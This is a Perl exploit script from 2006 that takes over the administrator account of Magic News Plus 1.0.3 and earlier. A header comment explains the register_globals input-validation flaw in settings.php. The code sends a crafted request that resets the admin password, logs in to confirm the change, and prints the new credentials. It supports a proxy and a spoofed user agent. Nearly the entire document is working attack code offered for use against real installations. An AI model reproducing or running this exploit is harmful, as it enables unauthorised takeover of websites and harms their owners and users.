#!/usr/bin/perl # # Magic News Plus <=1.0.3 Admin Pass Change Exploit # # Copyright (c) 2006 cijfer # All rights reserved. # # An input validation flaw exists within 'settings.php' # of Magic News Plus which can lead to the changing of # the administrative password. Here is where the problem # is (line 108 of 426): # # ... # [1] elseif ($action == "change") # ... # [2] if ($passwd != $admin_password) # ... # [3] if ($new_passwd != $confirm_passwd) # ... # # 1. &action=change # 2. &passwd=&admin_password= # 3. &new_passwd=&confirm_passwd= # # -> register_globals = on # # haha, sorry, no cmd execute this time. # # $Id: cijfer-mnxpl.pl,v 0.1 2006/01/07 19:24:00 cijfer Exp cijfer $ use LWP::UserAgent; use Getopt::Long; use Term::ANSIColor; $port = 80; $new = "cijfer"; $res = GetOptions("host=s" => \$host, "dir=s" => \$dir, "port=i" => \$port, "tunnel=s" => \$tunnel, "new=s" => \$new); &usage unless $host and $dir; &exploit; sub usage { print "Magic News Plus <=1.0.3 Admin Pass Change Exploit\n"; print "Usage: $0 -hdn [OPTION]...\n\n"; print " -h --host\thostname or ip of target\n"; print " -d --dir\tdirectory without ending slash\n"; print " -p --port\tport number (default: 80)\n"; print " -t --tunnel\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n"; print " -n --new\tnew admin password you want (default: cijfer)\n\n"; exit; } sub try { $cij=LWP::UserAgent->new() or die; $cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)"); $cij->proxy("http", "http://".$tunnel."/") unless !$tunnel; $path="http://".$host.$dir."/"; $out=$cij->get($path."index.php?login=admin&password=".$new."&action=login"); if($out->is_success) { if($out->content =~ /Wrong/) { print color("red"), ":(\n", color("reset"); exit; } } } sub exploit { $cij=LWP::UserAgent->new() or die; $cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)"); $cij->proxy("http", "http://".$tunnel."/") unless !$tunnel; $string = "settings.php?action=change"; $string .= "&passwd=cijfer"; $string .= "&admin_password=cijfer"; $string .= "&new_passwd="; $string .= $new; $string .= "&confirm_passwd="; $string .= $new; $path="http://".$host.$dir."/"; $out=$cij->get($path.$string); if($out->is_success) { print "trying username admin and password ".$new."...\n"; &try; print "user: admin, pass: ".$new; print color("green"), " :)) ", color("reset"); print "-- http://".$host.$dir."\n"; } else { print color("red"), ":(\n", color("reset"); exit; } }